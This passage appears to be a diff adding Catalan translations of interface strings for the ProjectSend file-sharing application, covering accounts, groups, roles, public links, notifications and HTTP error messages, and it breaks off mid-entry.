"A group was updated": "S'ha actualitzat un grup", + "A new client account was created: :name (:email).": "S'ha creat un compte de client nou: :name (:email).", + "A new client has registered": "S'ha registrat un client nou", + "A new ProjectSend version is available": "Hi ha disponible una versió nova del ProjectSend", + "A public group's page is always reachable by its own link once you mark it public — this section only controls the base URL and an optional directory listing every public group and file at once.": "La pàgina d'un grup públic sempre és accessible pel seu propi enllaç un cop el marques com a públic; aquesta secció només controla l'URL base i un directori opcional que mostra alhora tots els grups i fitxers públics.", + "A public link was created": "S'ha creat un enllaç públic", + "A public link was revoked": "S'ha revocat un enllaç públic", + "A role was created": "S'ha creat un rol", + "A role was deleted": "S'ha eliminat un rol", + "A role was updated": "S'ha actualitzat un rol", + "A Timeout Occurred": "S'ha produït un temps mort", + "About": "Quant a", + "Accept": "Acceptar", + "Accepted": "Acceptat", + "Account": "Compte", + "Account deletion grace period (days)": "Període de gràcia abans d'eliminar el compte (dies)", + "Account is active": "El compte és actiu", + "Account Manager": "Gestor de comptes", + "Account request approved.": "Sol·licitud de compte aprovada.", + "Account request denied.": "Sol·licitud de compte denegada.", + "Account requests": "Sol·licituds de compte", + "Account settings": "Configuració del compte", + "Account type": "Tipus de compte", + "Accounts": "Comptes", + "Accounts covered by this requirement must set up two-factor authentication before they can continue using the application.": "Els comptes afectats per aquest requisit han de configurar l'autenticació de dos factors abans de poder continuar fent servir l'aplicació.", + "Action": "Acció", + "Actions": "Accions", + "Activate": "Activa", + "Activated the account \":subject\"": "Ha activat el compte \":subject\"", + "Activating this account approves its pending request.": "Activar aquest compte aprova la sol·licitud pendent que hi està vinculada.", + "Active": "Actiu", + "Activity": "Activitat", + "Activity log": "Registre d'activitat", + "Add": "Afegir", + "Add :name": "Afegeix :name", + "Add a category": "Afegeix una categoria", + "Add a client": "Afegeix un client", + "Add a second step to your login using an authenticator app.": "Afegeix un segon pas a l'inici de sessió amb una aplicació d'autenticació.", + "Add new clients to this group": "Afegeix clients nous a aquest grup", + "Added \":member\" to the group \":subject\"": "Ha afegit \":member\" al grup \":subject\"", + "Admin": "Admin", + "Admin notification recipients": "Destinataris de les notificacions d'administració", + "Admin: client uploaded a file": "Administració: un client ha pujat un fitxer", + "Admin: group membership requested": "Administració: s'ha sol·licitat l'adhesió a un grup", + "Admin: new client registered": "Administració: s'ha registrat un client nou", + "Administration": "Administració", + "After uploading you can assign it to clients and groups": "Un cop pujat, el podràs assignar a clients i grups", + "Agree": "Acordar", + "All": "Tots", + "All actions": "Totes les accions", + "All categories": "Totes les categories", + "All clients": "Tots els clients", + "All comments": "Tots els comentaris", + "All failed jobs deleted.": "S'han esborrat totes les tasques fallides.", + "All files": "Tots els fitxers", + "All groups": "Tots els grups", + "All permissions": "Tots els permisos", + "All rights reserved.": "Tots els drets reservats.", + "All roles": "Tots els rols", + "All statuses": "Tots els estats", + "All system users": "Tots els usuaris del sistema", + "All types": "Tots els tipus", + "Already have an account?": "Ja tens un compte?", + "Already Reported": "Ja s'ha informat", + "Always": "Sempre", + "Amazon SES": "Amazon SES", + "An account has been created for you. You can log in now.": "S'ha creat un compte per a tu. Ja pots iniciar la sessió.", + "An account was activated": "S'ha activat un compte", + "An account was created": "S'ha creat un compte", + "An account was deactivated": "S'ha desactivat un compte", + "An account was deleted": "S'ha eliminat un compte", + "An account was permanently erased": "S'ha esborrat definitivament un compte", + "An account was updated": "S'ha actualitzat un compte", + "An administrator deleting an account is asked this each time; the automatic erasure of self-deleted accounts runs unattended and follows this choice, so nothing is ever left ownerless.": "A un administrador que elimina un compte se li pregunta això cada vegada; l'esborrat automàtic dels comptes que s'han eliminat ells mateixos s'executa sense supervisió i segueix aquesta opció, de manera que mai no queda res sense propietari.", + "An administrator will review your group requests.": "Un administrador revisarà les teves sol·licituds de grup.", + "An orphan file was deleted": "S'ha eliminat un fitxer orfe", + "An orphan file was imported": "S'ha importat un fitxer orfe", + "An overview of this installation": "Una visió general d'aquesta instal·lació", + "Any audience": "Qualsevol públic", + "Anyone": "Tothom", + "Anyone using it will no longer be able to download the file.": "Qui l'utilitzi ja no podrà descarregar el fitxer.", + "Appearance": "Aparença", + "Applies to the guest-facing public group/file pages and the \"My files\" client portal.": "S'aplica a les pàgines públiques de grups i fitxers per a visitants i al portal de clients «Els meus fitxers».", + "Apply filters": "Aplica els filtres", + "Approve": "Aprova", + "Approve account requests": "Aprovar sol·licituds de compte", + "Approve group membership requests": "Aprovar sol·licituds d'adhesió a grups", + "Approved the account request of \":subject\"": "Ha aprovat la sol·licitud de compte de \":subject\"", + "Approved the membership of \":member\" to the group \":subject\"": "Ha aprovat l'adhesió de \":member\" al grup \":subject\"", + "Archive": "Arxiu", + "Are deleted along with the account": "S'esborren juntament amb el compte", + "Are reassigned to another account": "Es reassignen a un altre compte", + "Are you sure you want to delete your account?": "Segur que vols eliminar el teu compte?", + "Assign": "Assignar", + "Assign categories to files": "Assignar categories als fitxers", + "Assigned": "Assignat", + "Assigned clients": "Clients assignats", + "Assigned the file \":subject\" to :target": "Ha assignat el fitxer \":subject\" a :target", + "Associate": "Associat", + "Attach": "Adjuntar", + "Audience": "Públic", + "Authentication code": "Codi d'autenticació", + "Authentication requirements for this installation": "Requisits d'autenticació d'aquesta instal·lació", + "Author": "Autor", + "Available groups": "Grups disponibles", + "Available placeholders": "Marcadors disponibles", + "Back to My files": "Torna a Els meus fitxers", + "Bad Gateway": "Porta d'enllaç incorrecta", + "Bad Request": "Petició dolenta", + "Bandwidth Limit Exceeded": "Límit d'ample de banda excedit", + "Blue": "Blau", + "Body": "Cos del missatge", + "Browse": "Navega", + "Browse publicly shared groups and files below.": "Explora a sota els grups i fitxers compartits públicament.", + "Built-in": "Integrat", + "Built-in role names cannot be changed.": "El nom dels rols integrats no es pot canviar.", + "Built-in roles cannot be deleted.": "Els rols integrats no es poden eliminar.", + "Call to action": "Crida a l'acció", + "Cancel": "Cancel·la", + "Categories": "Categories", + "Category": "Categoria", + "Category created.": "Categoria creada.", + "Category deleted.": "Categoria eliminada.", + "Category updated.": "Categoria actualitzada.", + "Changed their password": "Ha canviat la seva contrasenya", + "Checkbox": "Casella de selecció", + "Checksum (SHA-256)": "Suma de verificació (SHA-256)", + "Choose": "Triar", + "Choose :name": "Trieu :name", + "Choose an account…": "Tria un compte…", + "Choose File": "Tria el fitxer", + "Choose Image": "Trieu Imatge", + "Choose which notifications also send you an email. Everything always appears in the notification bell.": "Tria quines notificacions també t'arriben per correu. Tot apareix sempre a la campana de notificacions.", + "Clear": "Neteja", + "Click to copy": "Feu clic per copiar", + "Client": "Client", + "Client account approved": "Compte de client aprovat", + "Client account denied": "Compte de client denegat", + "Client account edited": "Compte de client editat", + "Client Closed Request": "Sol·licitud de client tancada", + "Client created.": "Client creat.", + "Client deleted.": "Client eliminat.", + "Client Manager": "Gestor de clients", + "Client settings": "Configuració dels clients", + "Client updated.": "Client actualitzat.", + "Client welcome (staff-created account)": "Benvinguda al client (compte creat per l'equip)", + "Clients": "Clients", + "Clients and groups that can download this file": "Clients i grups que poden descarregar aquest fitxer", + "Clients asking to join groups": "Clients que demanen entrar en grups", + "Clients who registered themselves and are waiting for approval": "Clients que s'han registrat pel seu compte i esperen aprovació", + "Close": "Tancar", + "Collapse": "Col·lapse", + "Collapse All": "Col · lapsar tot", + "Color": "Color", + "Columns": "Columnes", + "Comment": "Comenta", + "Confirm": "Confirmar", + "Confirm password": "Confirma la contrasenya", + "Conflict": "Conflicte", + "Connect": "Connecta't", + "Connection Closed Without Response": "Connexió tancada sense resposta", + "Connection Timed Out": "Temps de connexió esgotat", + "Continue": "Continua", + "Copy URL": "Copia l'URL", + "Copy link": "Copia l'enllaç", + "Counters": "Comptadors", + "Create": "Crear", + "Create :name": "Crea :name", + "Create a client account": "Crea un compte de client", + "Create a public link": "Crea un enllaç públic", + "Create a staff account for this installation": "Crea un compte d'equip per a aquesta instal·lació", + "Create administrator account": "Crea el compte d'administrador", + "Create an account for someone you share files with": "Crea un compte per a algú amb qui comparteixes fitxers", + "Create categories": "Crear categories", + "Create category": "Crea una categoria", + "Create client": "Crea un client", + "Create clients": "Crear clients", + "Create custom assets": "Crear recursos personalitzats", + "Create field": "Crea un camp", + "Create folder": "Crea una carpeta", + "Create group": "Crea un grup", + "Create groups": "Crear grups", + "Create link": "Crea l'enllaç", + "Create own folders": "Crear carpetes pròpies", + "Create role": "Crea un rol", + "Create system users": "Crear usuaris del sistema", + "Create user": "Crea un usuari", + "Created": "Creat", + "Created a public link for the file \":subject\"": "Ha creat un enllaç públic per al fitxer \":subject\"", + "Created by": "Creat per", + "Created the account \":subject\"": "Ha creat el compte \":subject\"", + "Created the folder \":subject\"": "Ha creat la carpeta \":subject\"", + "Created the group \":subject\"": "Ha creat el grup \":subject\"", + "Created the role \":subject\"": "Ha creat el rol \":subject\"", + "Custom": "Personalitzat", + "Custom assets": "Recursos personalitzats", + "Custom fields": "Camps personalitzats", + "Custom links with an optional expiration date or download limit, no account needed.": "Enllaços a mida, amb data de caducitat o límit de descàrregues opcionals, sense necessitat de cap compte.", + "Custom roles let you grant a precise set of permissions": "Els rols personalitzats et permeten concedir un conjunt precís de permisos", + "Custom SMTP": "SMTP personalitzat", + "Customize the wording of any transactional email sent by this installation.": "Personalitza el text de qualsevol correu transaccional que enviï aquesta instal·lació.", + "Customized": "Personalitzat", + "Dark": "Fosc", + "Dashboard": "Tauler", + "Dashboard widgets": "Ginys del tauler", + "Data retention and visibility for this installation": "Conservació de dades i visibilitat d'aquesta instal·lació", + "Database": "Base de dades", + "Date": "Data", + "Days before a denied membership request can be made again": "Dies abans de poder tornar a fer una sol·licitud d'adhesió denegada", + "Deactivate your account now; it is permanently erased after :days days": "Desactiva el teu compte ara; s'esborra definitivament al cap de :days dies", + "Deactivated the account \":subject\"": "Ha desactivat el compte \":subject\"", + "Default": "Per defecte", + "Defaults to the file name.": "Per defecte, el nom del fitxer.", + "Delete": "Esborrar", + "Delete :name": "Suprimeix :name", + "Delete account": "Elimina el compte", + "Delete all": "Esborra-ho tot", + "Delete all failed": "Esborra totes les fallides", + "Delete all failed jobs?": "Voleu esborrar totes les tasques fallides?", + "Delete categories": "Eliminar categories", + "Delete category": "Elimina la categoria", + "Delete category?": "Vols eliminar la categoria?", + "Delete client": "Elimina el client", + "Delete client?": "Vols eliminar el client?", + "Delete clients": "Eliminar clients", + "Delete custom assets": "Eliminar recursos personalitzats", + "Delete field": "Elimina el camp", + "Delete field?": "Vols eliminar el camp?", + "Delete file": "Elimina el fitxer", + "Delete file?": "Vols eliminar el fitxer?", + "Delete files": "Eliminar fitxers", + "Delete folder": "Elimina la carpeta", + "Delete folder?": "Vols eliminar la carpeta?", + "Delete group": "Elimina el grup", + "Delete group?": "Vols eliminar el grup?", + "Delete groups": "Eliminar grups", + "Delete others' files": "Eliminar fitxers d'altres", + "Delete own files": "Eliminar els fitxers propis", + "Delete role": "Elimina el rol", + "Delete role?": "Vols eliminar el rol?", + "Delete selected": "Elimina la selecció", + "Delete selected files?": "Vols eliminar els fitxers seleccionats?", + "Delete system users": "Eliminar usuaris del sistema", + "Delete this file?": "Vols eliminar aquest fitxer?", + "Delete user": "Elimina l'usuari", + "Delete user?": "Vols eliminar l'usuari?", + "Deleted account": "Compte eliminat", + "Deleted the account \":name\"": "Ha eliminat el compte \":name\"", + "Deleted the file \":name\"": "Ha eliminat el fitxer \":name\"", + "Deleted the folder \":name\" and its contents": "Ha eliminat la carpeta \":name\" i el seu contingut", + "Deleted the group \":name\"": "Ha eliminat el grup \":name\"", + "Deleted the orphan file \":name\"": "Ha eliminat el fitxer orfe \":name\"", + "Deleted the role \":name\"": "Ha eliminat el rol \":name\"", + "Denied the account request of \":name\"": "Ha denegat la sol·licitud de compte de \":name\"", + "Denied the membership of \":member\" to the group \":subject\"": "Ha denegat l'adhesió de \":member\" al grup \":subject\"", + "Deny": "Denega", + "Deny this request?": "Vols denegar aquesta sol·licitud?", + "Description": "Descripció", + "Description (optional)": "Descripció (opcional)", + "Detach": "Separa", + "Details": "Detalls", + "Disable": "Deshabilitar", + "Disable two-factor authentication?": "Vols desactivar l'autenticació de dos factors?", + "Disabled two-factor authentication": "Ha desactivat l'autenticació de dos factors", + "Discard": "Descartar", + "Discourage search engines from indexing this site": "Dissuadeix els cercadors d'indexar aquest lloc", + "Dismiss": "Descarta", + "Documentation": "Documentació", + "Don't have an account?": "No tens cap compte?", + "Done": "Fet", + "Down": "Avall", + "Download": "Descarrega", + "Download as zip": "Descarrega en ZIP", + "Downloaded the file \":subject\"": "Ha descarregat el fitxer \":subject\"", + "Downloaded the file \":subject\" via a public link": "Ha descarregat el fitxer \":subject\" mitjançant un enllaç públic", + "Downloaded the file \":subject\" via the public group listing": "Ha descarregat el fitxer \":subject\" mitjançant el llistat públic de grups", + "Downloads": "Descàrregues", + "Downloads are never recorded with an IP address.": "Les descàrregues no es registren mai amb una adreça IP.", + "Drag to reorder": "Arrossega per reordenar", + "Drag widgets here": "Arrossega ginys aquí", + "Dropdown": "Llista desplegable", + "Duplicate": "Duplicat", + "Duplicate :name": "Duplica :name", + "Edit": "Edita", + "Edit :name": "Edita :name", + "Edit categories": "Editar categories", + "Edit clients": "Editar clients", + "Edit custom assets": "Editar recursos personalitzats", + "Edit email templates": "Editar plantilles de correu", + "Edit groups": "Editar grups", + "Edit others' files": "Editar fitxers d'altres", + "Edit own files": "Editar els fitxers propis", + "Edit system settings": "Editar la configuració del sistema", + "Edit system users": "Editar usuaris del sistema", + "Edit this client account": "Edita aquest compte de client", + "Edit this staff account": "Edita aquest compte d'equip", + "Edition": "Edició", + "Email": "Correu", + "Email address": "Adreça de correu", + "Email settings": "Configuració del correu", + "Email template reset to default.": "Plantilla de correu restablerta al text per defecte.", + "Email template saved.": "Plantilla de correu desada.", + "Email templates": "Plantilles de correu", + "Empty file": "Fitxer buit", + "Enable": "Habilitar", + "Enable the public directory page": "Activa la pàgina de directori públic", + "Enable two-factor authentication": "Activa l'autenticació de dos factors", + "Enabled two-factor authentication": "Ha activat l'autenticació de dos factors", + "Encrypted environment file already exists.": "El fitxer d'entorn xifrat ja existeix.", + "Encrypted environment file not found.": "No s'ha trobat el fitxer d'entorn xifrat.", + "Encryption": "Xifratge", + "Enter one of your recovery codes.": "Introdueix un dels teus codis de recuperació.", + "Enter the six-digit code from your authenticator app.": "Introdueix el codi de sis xifres de la teva aplicació d'autenticació.", + "Enter your email and password below to log in": "Introdueix a sota el teu correu i la teva contrasenya per iniciar la sessió", + "Environment": "Entorn", + "Environment file already exists.": "El fitxer d'entorn ja existeix.", + "Environment file not found.": "No s'ha trobat el fitxer d'entorn.", + "errors": "errors", + "Every comment on files you can see, newest first": "Tots els comentaris dels fitxers que pots veure, del més recent al més antic", + "Every download records the IP address of whoever downloaded it.": "Cada descàrrega registra l'adreça IP de qui l'ha fet.", + "Everyone": "Tothom", + "Everything that happened on this installation, newest first": "Tot el que ha passat en aquesta instal·lació, del més recent al més antic", + "Expand": "Ampliar", + "Expand All": "Amplia-ho tot", + "Expectation Failed": "L'expectativa ha fallat", + "Expires": "Caduca", + "Expires :date": "Caduca el :date", + "Explanation": "Explicació", + "Export": "Exporta", + "Export :name": "Export :name", + "Export CSV": "Exporta en CSV", + "External storage": "Emmagatzematge extern", + "Extra fields shown on the client create and edit screens.": "Camps addicionals que es mostren a les pantalles de creació i edició de clients.", + "Failed Dependency": "Dependència fallida", + "Failed to send: :error": "No s'ha pogut enviar: :error", + "File": "Dossier", + "File: :name": "Fitxer: :name", + "File deleted.": "Fitxer eliminat.", + "File imported.": "Fitxer importat.", + "File name": "Nom del fitxer", + "File shared with a client": "Fitxer compartit amb un client", + "File updated.": "Fitxer actualitzat.", + "File uploaded.": "Fitxer pujat.", + "Files": "Fitxers", + "Files can only be assigned to clients or groups.": "Els fitxers només es poden assignar a clients o grups.", + "Files shared with you": "Fitxers compartits amb tu", + "Files sitting on disk with no matching record — from an interrupted upload, a restore, or manual filesystem access.": "Fitxers que hi ha al disc sense cap registre associat, d'una pujada interrompuda, d'una restauració o d'una intervenció manual al sistema de fitxers.", + "Flat labels for files — independent of folders. A file can have several.": "Etiquetes planes per als fitxers, independents de les carpetes. Un fitxer en pot tenir diverses.", + "Folder": "Carpeta", + "Folder: :name": "Carpeta: :name", + "Folder created.": "Carpeta creada.", + "Folder deleted.": "Carpeta eliminada.", + "Folder shared with a client": "Carpeta compartida amb un client", + "Folders can only be shared with clients or groups.": "Les carpetes només es poden compartir amb clients o grups.", + "Folders cannot be nested more than :max levels deep.": "Les carpetes no es poden imbricar més de :max nivells.", + "Forbidden": "Prohibit", + "Forgot password?": "Has oblidat la contrasenya?", + "Found": "Trobat", + "From": "De", + "From address": "Adreça del remitent", + "From name": "Nom del remitent", + "Gateway Timeout": "Temps d'espera de la passarel·la", + "General": "General", + "General settings": "Configuració general", + "Go Home": "Aneu a l'inici", + "Go to page :page": "Aneu a la pàgina :page", + "Go to the login form": "Ves al formulari d'inici de sessió", + "Gone": "Desaparegut", + "Gray": "Gris", + "Green": "Verd", + "Group": "Grup", + "Group created.": "Grup creat.", + "Group deleted.": "Grup eliminat.", + "Group membership approved": "Adhesió al grup aprovada", + "Group membership denied": "Adhesió al grup denegada", + "Group updated.": "Grup actualitzat.", + "Groups": "Grups", + "Groups clients can request to join at registration": "Grups als quals els clients poden demanar entrar en registrar-se", + "Groups let you assign files to several clients at once": "Els grups et permeten assignar fitxers a diversos clients alhora", + "Hello :name,": "Hola :name,", + "Hello, :name": "Hola, :name", + "Hello!": "Hola!", + "Here is what has been shared with you": "Això és el que s'ha compartit amb tu", + "Hide": "Amaga", + "Hide :name": "Amaga :name", + "Home": "Inici", + "Host": "Amfitrió", + "How client accounts are created on this installation": "Com es creen els comptes de client en aquesta instal·lació", + "How long a self-deleted account is kept before it is permanently erased.": "Quant de temps es conserva un compte eliminat pel seu titular abans d'esborrar-lo definitivament.", + "How many files/folders were shared at once": "Quants fitxers o carpetes s'han compartit alhora", + "HTTP Version Not Supported": "Versió HTTP no compatible", + "I'm a teapot": "Sóc una tetera", + "If this account is no longer available when an erasure runs, the files are deleted instead of being left ownerless.": "Si aquest compte ja no està disponible quan s'executi un esborrat, els fitxers s'esborren en lloc de quedar sense propietari.", + "If you did not create an account, no further action is required.": "Si no heu creat cap compte, no es requereix cap acció adicional.", + "If you did not request a password reset, no further action is required.": "Si no heu sol·licitat el restabliment de la contrasenya, obvieu aquest correu electrònic.", + "If you received this, your email configuration is working.": "Si has rebut aquest missatge, la teva configuració de correu funciona.", + "If you're having trouble clicking the \":actionText\" button, copy and paste the URL below\ninto your web browser:": "Si té algun problema per a fer clic al botó \":actionText\", copii i enganxi la següent URL al seu navegador web", + "IM Used": "IM utilitzat", + "Image": "Imatge", + "Impersonate": "Suplantar", + "Impersonation": "Suplantació d'identitat", + "Import": "Importar", + "Import :name": "Importació :name", + "Import orphan files": "Importa fitxers orfes", + "Import selected": "Importa la selecció", + "Imported the orphan file \":subject\"": "Ha importat el fitxer orfe \":subject\"", + "Inactive": "Inactiu", + "Include this file when a group it's shared with is public.": "Inclou aquest fitxer quan un grup amb qui està compartit sigui públic.", + "Insert": "Insereix", + "Installed ProjectSend": "Ha instal·lat el ProjectSend", + "Insufficient Storage": "Emmagatzematge insuficient", + "Internal Server Error": "error del servidor intern", + "Introduction": "Introducció", + "Invalid filename.": "Nom de fitxer no vàlid.", + "Invalid JSON was returned from the route.": "S'ha retornat un JSON no vàlid des de la ruta.", + "Invalid SSL Certificate": "Certificat SSL no vàlid", + "Label": "Etiqueta", + "Last modified": "Última modificació", + "Latest files": "Últims fitxers", + "Leave": "Surt", + "Leave empty for a link that never expires.": "Deixa-ho buit per a un enllaç que no caduqui mai.", + "Leave empty for unlimited downloads.": "Deixa-ho buit per a descàrregues il·limitades.", + "Leave group": "Surt del grup", + "Leave this group?": "Vols sortir d'aquest grup?", + "Left the group \":subject\"": "Ha sortit del grup \":subject\"", + "length": "longitud", + "Length Required": "Longitud requerida", + "Library": "Biblioteca", + "Light": "Clar", + "Like": "M'agrada", + "Limit download counts": "Limitar el nombre de descàrregues", + "Limit to assigned clients": "Limita als clients assignats", + "Limits for files uploaded to this installation": "Límits per als fitxers que es pugen a aquesta instal·lació", + "Link unavailable": "Enllaç no disponible", + "Load": "Carrega", + "Loading…": "S'està carregant…", + "Local storage": "Emmagatzematge local", + "Localize": "Localitza", + "Location": "Ubicació", + "Locked": "Tancat", + "Log in": "Inicia la sessió", + "Log In": "Entrar", + "Log in to your account": "Inicia la sessió al teu compte", + "Log out": "Tanca la sessió", + "Log Out": "Sortir", + "Logged in": "Ha iniciat la sessió", + "Logged out": "Ha tancat la sessió", + "Login": "Entrar", + "Logout": "Sortir", + "Loop Detected": "Bucle detectat", + "Mail provider settings saved.": "Configuració del proveïdor de correu desada.", + "Mailgun": "Mailgun", + "Maintenance Mode": "mode de manteniment", + "Manage custom fields": "Gestionar camps personalitzats", + "Manage public links from the edit page.": "Gestiona els enllaços públics des de la pàgina d'edició.", + "Manage system users and roles": "Gestionar usuaris del sistema i rols", + "Manage updates": "Gestionar actualitzacions", + "Manage your profile and account settings": "Gestiona el teu perfil i la configuració del compte", + "Mark all read": "Marca-ho tot com a llegit", + "Mark as read": "Marca com a llegit", + "Mark as unread": "Marca com a no llegit", + "Max downloads": "Descàrregues màx.", + "Maximum file size (MB)": "Mida màxima del fitxer (MB)", + "Member": "Membre", + "Members": "Membres", + "Members of this role only see files and folders belonging to the clients assigned to them, plus their own uploads.": "Els membres d'aquest rol només veuen els fitxers i les carpetes dels clients que tenen assignats, a més de les seves pròpies pujades.", + "Membership request approved.": "Sol·licitud d'adhesió aprovada.", + "Membership request denied.": "Sol·licitud d'adhesió denegada.", + "Membership requests": "Sol·licituds d'adhesió", + "Membership requests are reviewed by an administrator": "Les sol·licituds d'adhesió les revisa un administrador", + "Method Not Allowed": "Mètode no permès", + "Minutes until the reset link expires": "Minuts fins que caduca l'enllaç de restabliment", + "Misdirected Request": "Sol·licitud mal dirigida", + "Modified": "Modificat", + "Moved Permanently": "Mogut permanentment", + "Moved the folder \":subject\"": "Ha mogut la carpeta \":subject\"", + "Multi-line text": "Text de diverses línies", + "Multi-Status": "Multiestatus", + "Multiple Choices": "Opcions múltiples", + "Multiple files/folders shared at once (digest)": "Diversos fitxers o carpetes compartits alhora (resum)", + "My files": "Els meus fitxers", + "My groups": "Els meus grups", + "Name": "Nom", + "Name or description": "Nom o descripció", + "Name or email address": "Nom o adreça de correu", + "Never": "Mai", + "Never expires": "No caduca mai", + "Network Authentication Required": "Es requereix autenticació de xarxa", + "Network Connect Timeout Error": "Error de temps d'espera de connexió a la xarxa", + "Network Read Timeout Error": "Error de temps d'espera de lectura de la xarxa", + "New": "Nous", + "New :name": "Nou :name", + "New category": "Categoria nova", + "New client": "Client nou", + "New client registrations and client uploads are sent here — at least one address is required.": "Els registres de clients nous i les seves pujades arriben aquí; cal com a mínim una adreça.", + "New field": "Camp nou", + "New folder": "Carpeta nova", + "New group": "Grup nou", + "New membership request from :client for the group \":group\".": "Nova sol·licitud d'adhesió de :client per al grup \":group\".", + "New password (leave blank to keep current)": "Contrasenya nova (deixa-ho buit per mantenir l'actual)", + "New role": "Rol nou", + "New user": "Usuari nou", + "News": "Novetats", + "Next": "Següent", + "No": "No", + "No activity matches these filters.": "Cap activitat coincideix amb aquests filtres.", + "No activity recorded yet.": "Encara no s'ha registrat cap activitat.", + "No categories match your search.": "Cap categoria coincideix amb la teva cerca.", + "No categories yet.": "Encara no hi ha categories.", + "No clients match these filters.": "Cap client coincideix amb aquests filtres.", + "No clients yet.": "Encara no hi ha clients.", + "No comments match these filters.": "Cap comentari coincideix amb aquests filtres.", + "No Content": "Sense contingut", + "No custom fields yet.": "Encara no hi ha camps personalitzats.", + "No downloads recorded yet.": "Encara no s'ha registrat cap descàrrega.", + "No fields match your search.": "Cap camp coincideix amb la teva cerca.", + "No files have been shared with you yet.": "Encara no s'ha compartit cap fitxer amb tu.", + "No files here yet.": "Encara no hi ha cap fitxer aquí.", + "No files or folders match your search.": "Cap fitxer ni carpeta coincideix amb la teva cerca.", + "No files yet. Upload the first one.": "Encara no hi ha fitxers. Puja'n el primer.", + "No folder": "Cap carpeta", + "No groups match these filters.": "Cap grup coincideix amb aquests filtres.", + "No groups yet.": "Encara no hi ha grups.", + "No members yet.": "Encara no hi ha membres.", + "No more categories": "No hi ha més categories", + "No more clients to add": "No hi ha més clients per afegir", + "No news yet.": "Encara no hi ha novetats.", + "No orphan files found.": "No s'ha trobat cap fitxer orfe.", + "No orphan files match your search.": "Cap fitxer orfe coincideix amb la teva cerca.", + "No pending requests.": "No hi ha sol·licituds pendents.", + "No public links yet.": "Encara no hi ha enllaços públics.", + "No recipients added yet.": "Encara no s'ha afegit cap destinatari.", + "No requests match your search.": "Cap sol·licitud coincideix amb la teva cerca.", + "No roles match this filter.": "Cap rol coincideix amb aquest filtre.", + "No size limit. Uploads can be paused and resume automatically after interruptions.": "Sense límit de mida. Les pujades es poden posar en pausa i es reprenen automàticament després d'una interrupció.", + "No users match these filters.": "Cap usuari coincideix amb aquests filtres.", + "No users yet.": "Encara no hi ha usuaris.", + "Nobody (optional for everyone)": "Ningú (opcional per a tothom)", + "Non-Authoritative Information": "Informació no autoritzada", + "None": "Cap", + "None of the selected items could be found.": "No s'ha trobat cap dels elements seleccionats.", + "Not Acceptable": "No és acceptable", + "Not Extended": "No ampliat", + "Not Found": "No trobat", + "Not Implemented": "No implementat", + "Not Modified": "No modificat", + "Not shared with anyone yet.": "Encara no s'ha compartit amb ningú.", + "Notification settings": "Configuració de les notificacions", + "Notifications": "Notificacions", + "Nothing is publicly shared yet.": "Encara no hi ha res compartit públicament.", + "of": "de", + "OK": "D'acord", + "One option per line": "Una opció per línia", + "Only clients can be group members.": "Només els clients poden ser membres d'un grup.", + "Only clients can comment here.": "Aquí només hi poden comentar els clients.", + "Only for anonymous downloads": "Només per a les descàrregues anònimes", + "Only people who are signed in can comment here.": "Aquí només hi poden comentar les persones que han iniciat la sessió.", + "Only staff can comment here.": "Aquí només hi pot comentar l'equip.", + "Only the wording below is editable — any button or link in this email stays fixed.": "Només es pot editar el text de sota; els botons i els enllaços d'aquest correu no canvien.", + "Open": "Obert", + "Open folder": "Obre la carpeta", + "Open in a current window": "Obre en una finestra actual", + "Open in a new window": "Obre en una finestra nova", + "Open in a parent frame": "Obre en un marc principal", + "Open in the topmost frame": "Obre al marc superior", + "Open on the website": "Obert al lloc web", + "Open public listing": "Obre el llistat públic", + "Options": "Opcions", + "Or enter this key manually:": "O bé introdueix aquesta clau manualment:", + "Orange": "Taronja", + "Origin Is Unreachable": "L'origen és inabastable", + "Outgoing email": "Correu de sortida", + "Outgoing email theme": "Tema del correu de sortida", + "Page :current of :last": "Pàgina :current de :last", + "Page Expired": "Pàgina caducada", + "Pagination Navigation": "Navegació de la paginació", + "Partial Content": "Contingut parcial", + "Password": "Contrasenya", + "Password reset": "Restabliment de la contrasenya", + "Path": "Camí", + "Payload Too Large": "Càrrega útil massa gran", + "Payment Required": "Pagament obligatori", + "Pending approval": "Pendent d'aprovació", + "Permanent Redirect": "Redirecció permanent", + "Permanently erased a deleted account": "Ha esborrat definitivament un compte eliminat", + "Permissions": "Permisos", + "Pink": "Rosa", + "Platform": "Plataforma", + "Please click the button below to verify your email address.": "Si us plau, feu clic al botó inferior per verificar la vostra adreça electrònica.", + "Port": "Port", + "Postmark": "Postmark", + "Powered by ProjectSend": "Funciona amb ProjectSend", + "Precondition Failed": "La condició prèvia ha fallat", + "Precondition Required": "Condició prèvia requerida", + "Preparing your download…": "S'està preparant la teva descàrrega…", + "Preview": "Vista prèvia", + "Preview: :theme": "Vista prèvia: :theme", + "Previous": "Anterior", + "Price": "Preu", + "Privacy": "Privadesa", + "Privacy settings": "Configuració de privadesa", + "Private": "Privat", + "Processing": "Processament", + "Profile": "Perfil", + "Profile information was updated": "S'ha actualitzat la informació del perfil", + "ProjectSend :latestVersion is available (you have :currentVersion)": "El ProjectSend :latestVersion està disponible (tu tens la :currentVersion)", + "ProjectSend is free, open source software for sending files to your clients. It is released under the :license, which means you are free to use, study, change and share it.": "ProjectSend és programari lliure i de codi obert per enviar fitxers als teus clients. Es publica sota la :license, cosa que significa que ets lliure d'usar-lo, estudiar-lo, modificar-lo i compartir-lo.", + "ProjectSend is ready": "El ProjectSend està a punt", + "ProjectSend was installed": "S'ha instal·lat el ProjectSend", + "Provider": "Proveïdor", + "Proxy Authentication Required": "Es requereix autenticació de proxy", + "Public": "Públic", + "Public file": "Fitxer públic", + "Public files": "Fitxers públics", + "Public group": "Grup públic", + "Public group listing": "Llistat públic de grups", + "Public groups": "Grups públics", + "Public link": "Enllaç públic", + "Public link created.": "Enllaç públic creat.", + "Public link revoked.": "Enllaç públic revocat.", + "Public links": "Enllaços públics", + "Public listing": "Llistat públic", + "Public listing settings": "Configuració del llistat públic", + "Public listing URL": "URL del llistat públic", + "Public pages & portal": "Pàgines públiques i portal", + "Public pages and client portal theme": "Tema de les pàgines públiques i del portal de clients", + "Published": "Publicat", + "Purple": "Lila", + "Quota": "Quota", + "Railgun Error": "Error de canó de ferrocarril", + "Range Not Satisfiable": "Interval no satisfactori", + "Read more": "Llegeix-ne més", + "Reassign them to": "Reassigna'ls a", + "Recent activity": "Activitat recent", + "Recipient": "Destinatari", + "Record": "Registre", + "Record IP addresses for downloads": "Registra les adreces IP de les descàrregues", + "Recovery code": "Codi de recuperació", + "Red": "Vermell", + "Regards,": "Salutacions,", + "Regenerate recovery codes": "Torna a generar els codis de recuperació", + "Regenerate recovery codes?": "Vols tornar a generar els codis de recuperació?", + "Regenerated two-factor recovery codes": "Ha tornat 